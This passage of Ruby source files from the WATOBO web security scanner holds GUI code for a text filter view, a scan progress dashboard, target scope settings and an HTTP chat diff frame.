@filter_dt.connect(SEL_COMMAND) { applyFilter() } end def applyFilter pattern = @filter_text.text @match_pos_label.text = "0/0" @simple_text_view.resetMatches() @simple_text_view.setText(@text) @match_pos_label.textColor = 'grey' return true if pattern == '' case @filter_mode when SEL_TYPE_GREP grepPattern(pattern) when SEL_TYPE_HIGHLIGHT highlightPattern(pattern) end end private def gotoNextMatch() @cur_match_pos += 1 if @cur_match_pos < @simple_text_view.numMatches-1 @simple_text_view.makeMatchVisible(@cur_match_pos) @match_pos_label.text = "#{@cur_match_pos+1}/#{@simple_text_view.numMatches}" if @simple_text_view.numMatches > 0 end def gotoPrevMatch() @cur_match_pos -= 1 if @cur_match_pos > 0 @simple_text_view.makeMatchVisible(@cur_match_pos) @match_pos_label.text = "#{@cur_match_pos+1}/#{@simple_text_view.numMatches}" if @simple_text_view.numMatches > 0 end def addFilterHistory() text = @filter_text.text return true if text == '' has_item = false @filter_text.each do |item, data| has_item = true if data == text end @filter_text.appendItem(text, text) unless has_item == true @filter_text.numVisible = @filter_text.numItems end def resetFilter @simple_text_view.max_len = 0 @simple_text_view.setText(@text) @match_pos_label.text = "0/0" @match_pos_label.textColor = 'grey' @filter_text.text = '' end def highlightPattern(pattern) @cur_match_pos = 0 @simple_text_view.max_len = 0 @match_pos_label.textColor = 'black' @simple_text_view.setText(@text) @simple_text_view.highlight(pattern) @match_pos_label.text = "0/#{@simple_text_view.numMatches()}" @simple_text_view.makeMatchVisible(0) @match_pos_label.text = "1/#{@simple_text_view.numMatches()}" if @simple_text_view.numMatches() > 0 end def grepPattern(pattern) @cur_match_pos = 0 @simple_text_view.max_len = 0 @match_pos_label.textColor = 'black' @simple_text_view.setText(@text) @simple_text_view.filter(pattern) @match_pos_label.text = "0/#{@simple_text_view.numMatches()}" @simple_text_view.highlight(pattern) @simple_text_view.makeMatchVisible(0) @filter_mode = SEL_TYPE_GREP @match_pos_label.text = "1/#{@simple_text_view.numMatches()}" if @simple_text_view.numMatches() > 0 end def addHotkeyHandler(widget) @ctrl_pressed = false widget.connect(SEL_KEYPRESS) { |sender, sel, event| # puts event.code @ctrl_pressed = true if event.code == KEY_Control_L or event.code == KEY_Control_R # @shift_pressed = true if @ctrl_pressed and ( event.code == KEY_Shift_L or event.code == KEY_Shift_R ) if event.code == KEY_Return highlight(@filter_text.text) true # special handling of KEY_Return, because we don't want a linebreak in textbox. end if event.code == KEY_F1 unless event.moved? FXMenuPane.new(self) do |menu_pane| FXMenuCaption.new(menu_pane, "Hotkeys:") FXMenuSeparator.new(menu_pane) [ " - Reset Filter", " - Grep", " - Highlight", " - Goto Next", " - Goto Prev", " - Switch Wordwrap" ].each do |hk| FXMenuCaption.new(menu_pane, hk).backColor = 'yellow' end menu_pane.create menu_pane.popup(nil, event.root_x, event.root_y) app.runModalWhileShown(menu_pane) end end end if @ctrl_pressed case event.code when KEY_n gotoNextMatch() addFilterHistory() when KEY_N gotoPrevMatch() addFilterHistory() when KEY_w @simple_text_view.textbox.textStyle ^= TEXT_WORDWRAP when KEY_h @mode_btn.text = "Highlight" @filter_mode = SEL_TYPE_HIGHLIGHT addFilterHistory() applyFilter() when KEY_g @mode_btn.text = "Grep" @filter_mode = SEL_TYPE_GREP addFilterHistory() applyFilter() when KEY_r resetFilter() end end false } widget.connect(SEL_KEYRELEASE) { |sender, sel, event| @ctrl_pressed = false if event.code == KEY_Control_L or event.code == KEY_Control_R false } end end end endwatobo-1.0.1/lib/watobo/gui/dashboard.rb000077500000000000000000000250561366346341400201320ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Gui class ProgressInfo < FXVerticalFrame def increment(i) @lock.synchronize do @pbar.progress += i #@total += i end end def progress(i) @lock.synchronize do @pbar.progress = i update_bar_color end end def update_bar_color if @pbar.total == 0 then @pbar.barColor = 'grey' else @pbar.barColor = FXRGB(255, 0, 0) end if @pbar.progress == @pbar.total @pbar.barColor = 'green' end end def total(i) @lock.synchronize do #@progress = i @pbar.total = i end end def finished @lock.synchronize do @progress = @total end end def initialize(owner, check_name, num_checks) begin super(owner, :opts => LAYOUT_FILL_X|FRAME_GROOVE|LAYOUT_TOP) @lock = Mutex.new @check_name = check_name @label = FXLabel.new(self, check_name, :opts => LAYOUT_LEFT) # puts l @pbar = FXProgressBar.new(self, nil, 0, LAYOUT_FILL_X|FRAME_SUNKEN|FRAME_THICK|PROGRESSBAR_HORIZONTAL) @pbar.progress = 0 @pbar.total = num_checks puts "#{check_name} has #{num_checks} Checks" update_bar_color rescue => bang puts "!!!ERROR: could not add progress info" puts bang puts bang.backtrace if $DEBUG end end end class ScanProgressFrame < FXVerticalFrame attr :progress_bars attr :scan_status include Watobo::Gui::Icons def setup(modules=[]) @progress_bars.clear @progress_frame.each_child do |child| @progress_frame.removeChild(child) end #@progress_bars = Hash.new modules.each do |check_name, num_checks| puts "* new ProgressInfo: #{check_name} - #{num_checks}" pi = ProgressInfo.new(@progress_frame, check_name, num_checks[:total]) pi.create @progress_bars[check_name] = pi end @progress_frame.recalc @progress_frame.update end def initialize(owner, opts) super(owner, opts) # frame = FXScrollWindow.new(self, SCROLLERS_NORMAL|LAYOUT_FILL_X|LAYOUT_FILL_Y) frame = FXScrollWindow.new(self, SCROLLERS_NORMAL|LAYOUT_FILL_X|LAYOUT_FILL_Y) info_container = FXVerticalFrame.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) frame = FXHorizontalFrame.new(info_container, :opts => LAYOUT_FILL_X) FXLabel.new(frame, "Scan-Status:") @scan_status = FXLabel.new(frame, "N/A") @progress_frame = FXVerticalFrame.new(info_container, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) #FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) #FXLabel.new(@main, "No Information Available") @progress_bars = Hash.new end end class ProjectInfo < FXVerticalFrame def update() if Watobo.project then @project_name.text = Watobo.project.settings[:project_name] @session_name.text = Watobo.project.settings[:session_name] @project_path.text = Watobo.project.settings[:project_path] @session_path.text = Watobo.project.settings[:session_path] @number_active_checks.text = Watobo::ActiveModules.length.to_s @number_passive_checks = Watobo::PassiveModules.length.to_s @number_total_chats.text = Watobo::Chats.length.to_s end end def initialize(owner, opts) super(owner, opts) frame = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_X) FXLabel.new(frame, "Project:") @project_name = FXLabel.new(frame, "-") frame = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_X) FXLabel.new(frame, "Session:") @session_name = FXLabel.new(frame, "-") frame = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_X) FXLabel.new(frame, "Project Path:") @project_path = FXLabel.new(frame, "-") frame = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_X) FXLabel.new(frame, "Session Path:") @session_path = FXLabel.new(frame, "-") frame = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_X) FXLabel.new(frame, "Number available ActiveModules:") @number_active_checks = FXLabel.new(frame, "-") frame = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_X) FXLabel.new(frame, "Number of PassiveModules:") @number_passive_checks = FXLabel.new(frame, "-") frame = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_X) FXLabel.new(frame, "Number Current Chats:") @number_total_chats = FXLabel.new(frame, "-") # frame = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_X) # FXLabel.new(frame, "Number Critical Findings:") # @number_critical_findings = FXLabel.new(frame,"-") # frame = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_X) # FXLabel.new(frame, "Number High Findings:") # @number_high_findings = FXLabel.new(frame,"-") # frame = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_X) # FXLabel.new(frame, "Number Medium Findings:") # @number_medium_findings = FXLabel.new(frame,"-") # frame = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_X) # FXLabel.new(frame, "Number Low Findings:") # @number_low_findings = FXLabel.new(frame,"-") end end class Dashboard < FXVerticalFrame include Watobo::Gui::Icons def setupScanProgressFrame(scanner) @progress_lock.synchronize do @scanner = scanner @scan_progress_frame.setup(scanner.progress) end end def setScanStatus(status) @scan_progress_frame.scan_status.text = status end def progressDisplays() return @scan_progress_frame.progress_bars() end def module_finished(mod) @progress_lock.synchronize do begin name = mod name = mod.info[:check_name] if mod.respond_to? :run_checks pbar = @scan_progress_frame.progress_bars[name] pbar.finished #pbar.progress = pbar.total # pbar.barColor = 'green' # FXRGB(0,255,0) rescue => bang puts bang puts bang.backtrace if $DEBUG end end end def progress(m) @progress_lock.synchronize do name = m name = m.info[:check_name] if m.respond_to? :run_checks @scan_progress_frame.progress_bars[name].increment(1) # p @scan_progress_frame.progress_bars[name].total end end def updateProjectInfo() @project_info_frame.update() end def update_status(check_module, progress_index) if @module_list.has_key?(check_module) then #puts "updating status window" pbar = @module_list[check_module][:progress] pbar.total = @project.chats.length-1 pbar.progress = progress_index if progress_index == pbar.total pbar.barColor=FXRGB(0, 255, 0) end else puts "check_module not found in dashboard" end end def setup_status_bars(frame, module_list) module_list.each do |m| dummy = FXVerticalFrame.new(frame, LAYOUT_FILL_X|FRAME_GROOVE) dummy.create label = "undefined" begin label = m.check_name rescue => bang # puts "no check name defined" # puts bang end # puts "." l = FXLabel.new(dummy, label, :opts => LAYOUT_LEFT) l.create # puts l pbar = FXProgressBar.new(dummy, nil, 0, LAYOUT_FILL_X|FRAME_SUNKEN|FRAME_THICK|PROGRESSBAR_HORIZONTAL) pbar.create pbar.progress = 0 pbar.total = @project.chats.length-1 pbar.barColor=0 pbar.barColor=FXRGB(255, 0, 0) @module_list[m] = { :progress => pbar, } end end def start_update_timer FXApp.instance.addTimeout(500, :repeat => true) { unless @scanner.nil? progress = @scanner.progress progress.each do |m, info| @scan_progress_frame.progress_bars[m].progress info[:progress] end end } end def initialize(parent) begin super(parent, LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN) #db_title = FXLabel.new(self, "DASHBOARD", :opts => LAYOUT_LEFT) @scanner = nil @progress_lock = Mutex.new main = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE) main.backColor = FXColor::White frame = FXHorizontalFrame.new(main, :opts => LAYOUT_FILL_X|FRAME_GROOVE) frame.backColor = FXColor::White title_icon = FXButton.new(frame, '', ICON_DASHBOARD, :opts => FRAME_NONE) title_icon.backColor = FXColor::White @font_title = FXFont.new(getApp(), "helvetica", 14, FONTWEIGHT_BOLD, FONTSLANT_ITALIC, FONTENCODING_DEFAULT) title = FXLabel.new(frame, "Dashboard", nil, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) title.backColor = FXColor::White title.setFont(@font_title) title.justify = JUSTIFY_LEFT|JUSTIFY_CENTER_Y @tabBook = FXTabBook.new(main, nil, 0, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_RIGHT) @tabBook.backColor = FXColor::White tab = FXTabItem.new(@tabBook, "Project Information", nil) # tab.backColor = FXColor::White @project_info_frame = ProjectInfo.new(@tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) # @project_info_frame.backColor = FXColor::White tab = FXTabItem.new(@tabBook, "Scan Information", nil) # tab.backColor = FXColor::White @scan_progress_frame = ScanProgressFrame.new(@tabBook, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_RAISED) @tabBook.connect(SEL_COMMAND) do |sender, sel, tabItem| case tabItem.to_i when 0 # puts "Login Script Selected" @project_info_frame.update() when 1 # puts "Session IDs Selected" when 2 # end end start_update_timer rescue => bang puts "Error creating dashboard :(" puts bang end end end end end watobo-1.0.1/lib/watobo/gui/define_scope_frame.rb000066400000000000000000000340501366346341400217670ustar00rootroot00000000000000require 'fox16' include Fox # @private module Watobo#:nodoc: all module Gui class ScopeDetailsFrame < FXVerticalFrame # def fxMessageBox() # FXMessageBox.information(self, MBOX_OK, "Wrong Signature Format", "Signature Format is wrong. Must be a valid regular expression, e.g.() <^Location.*action=logout>") # end def getDetails d = Hash.new d[:root_path] = @rootpath_dt.value path_array = [] @expath_list.each do |p| path_array.push p.data end d[:excluded_paths] = path_array d end def removePattern(list_box, pattern) index = list_box.currentItem if index >= 0 list_box.removeItem(index) end end def addPattern(list_box, pattern) if pattern != "" then pattern_ok, *error = Watobo::Utils.checkRegex(pattern) if pattern_ok == true item = list_box.appendItem("#{pattern}") list_box.setItemData(item, pattern) list_box.sortItems() else FXMessageBox.information(self, MBOX_OK, "Wrong Path Format", "Path must be a Regex!!!\nError: #{error.join('\n')}") end end end def updateFrame(details) @rootpath_dt.value = details[:root_path] @rootpath_field.handle(self, FXSEL(SEL_UPDATE, 0), nil) details[:excluded_paths].each do |p| addPattern(@expath_list, p) end end def initialize(parent, details=nil) @rootpath_dt = FXDataTarget.new('') @expath_dt = FXDataTarget.new('') super(parent, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) # main_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_Y|LAYOUT_FILL_X|FRAME_NONE, :padding => 0) title_frame = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_X|FRAME_GROOVE) title = FXLabel.new(title_frame, "Site:", :opts => LAYOUT_TOP) title = FXLabel.new(title_frame, "#{details[:site]}") title.setFont(FXFont.new(getApp(), "helvetica", 12, FONTWEIGHT_BOLD, FONTSLANT_ITALIC, FONTENCODING_DEFAULT)) # # ROOT PATH BOX gbframe = FXGroupBox.new(self, "Root Path", LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X|LAYOUT_FILL_Y, 0, 0, 0, 0) frame = FXVerticalFrame.new(gbframe, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) #text_frame = FXHorizontalFrame.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_NONE, :padding =>0) fxtext = FXText.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_WORDWRAP) fxtext.backColor = fxtext.parent.backColor fxtext.disable text = "The Root Path defines the application root of the site. " + "Only URLs which include the Root Path will be tested during a scan." + "\nSetting the Root Path to 'myapp', only URLs that begin with http://#{details[:site]}/myapp/ will be tested." fxtext.setText(text) input_frame = FXHorizontalFrame.new(frame, :opts => LAYOUT_FILL_X|FRAME_NONE) FXLabel.new(input_frame,"Root Path (RegEx):") @rootpath_field = FXTextField.new(input_frame, 0, :target => @rootpath_dt, :selector => FXDataTarget::ID_VALUE, :opts => LAYOUT_FILL_X|TEXTFIELD_NORMAL|LAYOUT_SIDE_LEFT) # # EXCLUDED gbframe = FXGroupBox.new(self, "Excluded Path's", LAYOUT_SIDE_RIGHT|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) frame = FXVerticalFrame.new(gbframe, :opts => LAYOUT_FILL_X, :padding => 0) fxtext = FXText.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|TEXT_WORDWRAP) fxtext.backColor = fxtext.parent.backColor fxtext.disable text = "URLs which match a pattern will not be tested during a scan." fxtext.setText(text) input_frame = FXHorizontalFrame.new(frame, :opts => LAYOUT_FILL_X) @expath_field = FXTextField.new(input_frame, 20, :target => @expath_dt, :selector => FXDataTarget::ID_VALUE, :opts => TEXTFIELD_NORMAL|LAYOUT_SIDE_LEFT|LAYOUT_FILL_X) @remExPath = FXButton.new(input_frame, "Remove" , :opts => BUTTON_NORMAL|LAYOUT_RIGHT) @addExPath = FXButton.new(input_frame, "Add" , :opts => BUTTON_NORMAL|LAYOUT_RIGHT) list_frame = FXVerticalFrame.new(frame, :opts => LAYOUT_FILL_X|FRAME_SUNKEN, :padding => 0) @expath_list = FXList.new(list_frame, :opts => LIST_EXTENDEDSELECT|LAYOUT_FILL_X|LAYOUT_FILL_Y) @expath_list.numVisible = 5 @expath_list.connect(SEL_COMMAND){ |sender, sel, item| @expath_dt.value = sender.getItemText(item) @expath_field.handle(self, FXSEL(SEL_UPDATE, 0), nil) } @remExPath.connect(SEL_COMMAND){ |sender, sel, item| removePattern(@expath_list, @expath_dt.value) if @expath_dt.value != '' @expath_dt.value = '' @expath_field.handle(self, FXSEL(SEL_UPDATE, 0), nil) } @addExPath.connect(SEL_COMMAND){ |sender, sel, item| addPattern(@expath_list, @expath_dt.value) if @expath_dt.value != '' @expath_dt.value = '' @expath_field.handle(self, FXSEL(SEL_UPDATE, 0), nil) } @expath_dt.connect(SEL_COMMAND){ |sender, sel, item| addPattern(@expath_list, @expath_dt.value) if @expath_dt.value != '' @expath_dt.value = '' @expath_field.handle(self, FXSEL(SEL_UPDATE, 0), nil) } updateFrame(details) self.update end end class EditScopeDetailsDialog < FXDialogBox attr :details include Responder def onAccept(sender, sel, event) @details = @scopeDetailsFrame.getDetails() root_path_ok, *error = Watobo::Utils.checkRegex(@details[:root_path]) if root_path_ok == true getApp().stopModal(self, 1) self.hide() return 1 else FXMessageBox.information(self, MBOX_OK, "Wrong Root Path Format", "Root Path must be a Regex!!!\nError: #{error.join('\n')}") end end def initialize(owner, details) super(owner, "Scope Details", :opts => DECOR_TITLE|DECOR_BORDER|LAYOUT_FIX_WIDTH|LAYOUT_FIX_HEIGHT, :width => 350, :height => 500) FXMAPFUNC(SEL_COMMAND, ID_ACCEPT, :onAccept) @details = (details.is_a? Hash) ? details : Hash.new @root_path = FXDataTarget.new('') main_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_Y|LAYOUT_FILL_X|FRAME_NONE, :padding => 0) @scopeDetailsFrame = ScopeDetailsFrame.new(main_frame, details) button_frame = FXHorizontalFrame.new(main_frame, :opts => LAYOUT_FILL_X) accept = FXButton.new(button_frame, "&Accept", nil, self, ID_ACCEPT, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT|LAYOUT_CENTER_Y) accept.enable # Cancel FXButton.new(button_frame, "&Cancel", nil, self, ID_CANCEL, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT|LAYOUT_CENTER_Y) end end class DefineScopeFrame < FXVerticalFrame def onDeselectAll(sender, sel, item) @cb_sites.each_key do |site| @cb_sites[site].setCheck(false) @edit_btns[site].disable end @sel_all_btn.setFocus() @sel_all_btn.setDefault() end def onSelectAll(sender, sel, item) sites = [] @cb_sites.each_key do |site| @cb_sites[site].setCheck(true) @edit_btns[site].enable end @desel_all_btn.setFocus() @desel_all_btn.setDefault() end def editSiteDetails(site) dlg = EditScopeDetailsDialog.new(self, @scope[site]) if dlg.execute != 0 @scope[site].update dlg.details puts dlg.details.to_yaml end end def getScope() scope = Hash.new @cb_sites.keys.each do |site| @scope.delete(site) if !@cb_sites[site].checked? # scope[site] = @scope[site] if @cb_sites[site].checked? end return @scope end def updateFrame() @scope.each do |site, scope| next if @cb_sites[site].nil? @cb_sites[site].setCheck(scope[:enabled]) @cb_sites[site].checked? ? @edit_btns[site].enable : @edit_btns[site].disable end end def setScope(scope) @scope = scope Watobo::Scope.each do |site, scope_def| @scope[site].update @scope[site] if !@scope[site].nil? end updateFrame() end def initialize(owner, opts) super(owner, :opts => opts, :padding => 0) # @scope = Hash.new # @scope = YAML.load(YAML.dump(scope)) if scope.is_a? Hash @scope = YAML.load(Watobo::Scope.to_yaml) @cb_sites = Hash.new @edit_btns = Hash.new title = FXLabel.new(self, "Target Scope") info_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|FRAME_GROOVE) title.setFont(FXFont.new(getApp(), "helvetica", 12, FONTWEIGHT_BOLD, FONTSLANT_ITALIC, FONTENCODING_DEFAULT)) scope_text =<<'EOF' The target scopes affects primarly the behaviour all WATOBO scanner tools. Click the appropriate edit-button for more detailed settings. EOF btn = FXButton.new(info_frame, scope_text, :opts => LAYOUT_FILL_X|LAYOUT_FIX_HEIGHT, :height => 90) #btn.font = @font #btn.backColor = FXColor::White btn.justify = JUSTIFY_LEFT quickFilterFrame = FXHorizontalFrame.new(self, LAYOUT_FILL_X) FXLabel.new(quickFilterFrame, "Filter:", nil, :opts => LAYOUT_TOP|JUSTIFY_RIGHT) filter_regexp = FXTextField.new(quickFilterFrame, 25, nil, 0, :opts => TEXTFIELD_NORMAL|LAYOUT_FILL_X|LAYOUT_LEFT) filter_btn = FXButton.new(quickFilterFrame, "apply") filter_regexp.connect(SEL_COMMAND){ list_sites(filter_regexp.text.strip) } filter_btn.connect(SEL_COMMAND){ list_sites(filter_regexp.text.strip) } quickSelectFrame = FXHorizontalFrame.new(self, LAYOUT_FILL_X) @sel_all_btn = FXButton.new(quickSelectFrame, "Select All", nil, nil, 0, FRAME_RAISED|FRAME_THICK|LAYOUT_FILL_X) @sel_all_btn.connect(SEL_COMMAND, method(:onSelectAll)) @sel_all_btn.setFocus() @sel_all_btn.setDefault() @desel_all_btn = FXButton.new(quickSelectFrame, "Deselect All", nil, nil, 0, FRAME_RAISED|FRAME_THICK|LAYOUT_FILL_X) @desel_all_btn.connect(SEL_COMMAND, method(:onDeselectAll)) frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE, :padding => 0) sitesArea = FXScrollWindow.new(frame, SCROLLERS_NORMAL|LAYOUT_FILL_X|LAYOUT_FILL_Y) @sitesFrame = FXVerticalFrame.new(sitesArea, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) list_sites updateFrame() end private def list_sites(p='.*') @cb_sites.clear @edit_btns.clear # clear container @sitesFrame.each_child do |c| @sitesFrame.removeChild c end @sitesFrame.recalc @sitesFrame.update pattern = p pattern = '.*' if p.nil? or p.empty? sites = Watobo::Chats.sites() sites.compact! sites.sort.each do |site| next unless site =~ /#{pattern}/ site_frame = FXHorizontalFrame.new(@sitesFrame, :opts => LAYOUT_FILL_X) b = FXCheckButton.new(site_frame, site, nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_LEFT) eb = FXButton.new(site_frame, "edit..", nil, nil, 0, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT) @edit_btns[site] = eb site_frame.create if self.parent.created? b.connect(SEL_COMMAND){ b.checked? ? @edit_btns[site].enable : @edit_btns[site].disable @scope[site][:enabled] = true } @cb_sites[site] = b b.setCheck(false) scope_details = { :site => site, :enabled => false, :root_path => '', :excluded_paths => [], #:exclude_pattern => [] } if !@scope[site] @scope[site] = scope_details else @scope[site][:enabled] = true end eb.connect(SEL_COMMAND){ editSiteDetails(site) } end @sitesFrame.recalc @sitesFrame.update end end #EOC #-- end end if __FILE__ == $0 require '../utils/check_regex' class TestGui < FXMainWindow def initialize(app) # Call base class initializer first super(app, "Test Application", :width => 800, :height => 600) frame = FXVerticalFrame.new(self, LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE) pbButton = FXButton.new(frame, "create FXProgressBar",:opts => FRAME_THICK|FRAME_RAISED|LAYOUT_FILL_X|LAYOUT_TOP|LAYOUT_LEFT,:padLeft => 10, :padRight => 10, :padTop => 5, :padBottom => 5) @scope_details = { :site => "127.0.0.1", :enabled => false, :root_path => '', :excluded_paths => [], #:exclude_pattern => [] } pbButton.connect(SEL_COMMAND) { dlg = Watobo::Gui::EditScopeDetailsDialog.new(self,scope_details) if dlg.execute != 0 puts dlg.details.to_yaml end } end # Create and show the main window def create super # Create the windows show(PLACEMENT_SCREEN) # Make the main window appear dlg = Watobo::Gui::EditScopeDetailsDialog.new(self, @scope_details) if dlg.execute != 0 puts dlg.details.to_yaml end end end application = FXApp.new('LayoutTester', 'FoxTest') TestGui.new(application) application.create application.run end watobo-1.0.1/lib/watobo/gui/differ_frame.rb000066400000000000000000000162221366346341400206040ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class SelectionInfo < FXVerticalFrame def update(info) begin @hid_label.text = info[:hid] || "-" @url_label.text = info[:url] || "-" @length_label.text = info[:length] || "-" @status_label.text = info[:status] || "-" rescue => bang puts "!!! Could not update SelectionInfo" puts bang end end def clear() @hid_label.text = "-" @url_label.text = "-" @length_label.text = "-" @status_label.text = "-" end def initialize(owner, opts) super(owner, opts) frame = FXHorizontalFrame.new(self, :opts => FRAME_NONE|LAYOUT_FILL_X, :padding => 0) FXLabel.new(frame, "History-ID: ") @hid_label = FXLabel.new(frame, " - ") frame = FXHorizontalFrame.new(self, :opts => FRAME_NONE|LAYOUT_FILL_X, :padding => 0) FXLabel.new(frame, "URL: ") @url_label = FXLabel.new(frame, " - ") frame = FXHorizontalFrame.new(self, :opts => FRAME_NONE|LAYOUT_FILL_X, :padding => 0) FXLabel.new(frame, "Length: ") @length_label = FXLabel.new(frame, " - ") frame = FXHorizontalFrame.new(self, :opts => FRAME_NONE|LAYOUT_FILL_X, :padding => 0) FXLabel.new(frame, "Status: ") @status_label = FXLabel.new(frame, " - ") end end class DiffFrame < FXVerticalFrame include Responder ID_HISTORY_BUTTON = FXMainWindow::ID_LAST def onHistoryButton(sender, sel, event) @history_slider.reset() sender.parent.backColor = FXColor::Red @slider_selection = sender.parent.item end def updateHistory(history) @slider_selection = nil @history = history # @history_slider.update(history) updateHistoryTable() # updateSelections() end def onTableClick(sender,sel,item) begin row = item.row @historyTable.selectRow(row, false) hi = @historyTable.getRowText(row).to_i - 1 if @first_selection and @second_selection @first_selection = nil @second_selection = nil end if !@first_selection @first_selection = @history[hi] else @second_selection = @history[hi] end updateSelection() rescue => bang puts "!!!ERROR: onTableClick" puts bang puts "!!!" end end def initHistoryTable() @historyTable.clearItems() @historyTable.setTableSize(0, 3) @historyTable.setColumnText( 0, "STATUS" ) @historyTable.setColumnText( 1, "LENGTH" ) @historyTable.setColumnText( 2, "URL" ) @historyTable.rowHeader.width = 50 @historyTable.setColumnWidth(0, 100) @historyTable.setColumnWidth(1, 100) @historyTable.setColumnWidth(2, 200) end def updateHistoryTable() begin @historyTable.clearItems() initHistoryTable() @history.each do |h| lastRowIndex = @historyTable.getNumRows @historyTable.appendRows(1) @historyTable.setRowText(lastRowIndex, (@history.index(h) + 1 ).to_s) @historyTable.setItemText(lastRowIndex, 0, h.response.status) if h.response.respond_to? :status @historyTable.setItemText(lastRowIndex, 1, h.response.join.length.to_s) @historyTable.setItemText(lastRowIndex, 2, h.request.url.to_s) if h.request.respond_to? :url 3.times do |i| i = @historyTable.getItem(lastRowIndex, i) i.justify = FXTableItem::LEFT unless i.nil? end end rescue => bang puts bang end end def updateSelection() @first_sel_info.clear() @second_sel_info.clear() if @first_selection @first_sel_info.update( :url => @first_selection.request.url.to_s, :hid => (@history.index(@first_selection) + 1).to_s, :status => @first_selection.response.status, :length => @first_selection.response.join.length.to_s) end if @second_selection @second_sel_info.update( :url => @second_selection.request.url.to_s, :hid => (@history.index(@second_selection) + 1).to_s, :status => @second_selection.response.status, :length => @second_selection.response.join.length.to_s) end end def getDiffChats() first = nil second = nil begin case @first_chat_dt.value when 0 0 when 1 0 end rescue return first, second end end def initialize(owner, opts) super(owner, opts) @history_size = 10 @history = [] @slider_selection = nil @first_selection = nil @second_selection = nil FXMAPFUNC(SEL_COMMAND, DiffFrame::ID_HISTORY_BUTTON, 'onHistoryButton') frame = FXHorizontalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN) # frame_left = FXVerticalFrame.new(frame, :opts => LAYOUT_FILL_Y|LAYOUT_FIX_WIDTH, :width => 70, :padding => 0) # @history_slider = HistorySlider.new(frame_left, self, @history_size, opts) frame_right = FXVerticalFrame.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) sunken = FXVerticalFrame.new(frame_right, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK, :padding => 0) @historyTable = FXTable.new(sunken, :opts => FRAME_SUNKEN|TABLE_COL_SIZABLE|TABLE_ROW_SIZABLE|LAYOUT_FILL_X|LAYOUT_FILL_Y|TABLE_READONLY|LAYOUT_SIDE_TOP, :padding => 2) initHistoryTable() @historyTable.connect(SEL_COMMAND, method(:onTableClick)) first_chat_gb = FXGroupBox.new(frame_right, "First Chat", LAYOUT_SIDE_TOP|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) @first_sel_info = SelectionInfo.new(first_chat_gb, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) second_chat_gb = FXGroupBox.new(frame_right, "Second Chat", LAYOUT_SIDE_TOP|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) @second_sel_info = SelectionInfo.new(second_chat_gb, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) diff_button = FXButton.new(frame_right, "Diff it!", nil, nil, 0, :opts => LAYOUT_FILL_X|FRAME_RAISED|FRAME_THICK) diff_button.connect(SEL_COMMAND) { # new, orig = getDiffChats() if @first_selection and @second_selection then first_request = Watobo::Utils.copyObject(@first_selection.request) first_response = Watobo::Utils.copyObject(@first_selection.response) second_request = Watobo::Utils.copyObject(@second_selection.request) second_response = Watobo::Utils.copyObject(@second_selection.response) chat_one = Watobo::Chat.new(first_request, first_response, :id => 0) chat_two = Watobo::Chat.new(second_request, second_response, :id => 0) project = nil diffViewer = ChatDiffViewer.new(FXApp.instance, chat_one, chat_two) diffViewer.create diffViewer.show(Fox::PLACEMENT_SCREEN) end } end end end endwatobo-1.0.1/lib/watobo/gui/edit_comment.rb000066400000000000000000000035531366346341400206450ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Gui class EditCommentDialog < FXDialogBox def comment() @textbox.to_s end def initialize(owner, chat) #super(owner, "Edit Target Scope", DECOR_TITLE|DECOR_BORDER, :width => 300, :height => 425) super(owner, "Edit Comment - Chat #{chat.id}", DECOR_ALL, :width => 300, :height => 150) base_frame = FXVerticalFrame.new(self, :opts => 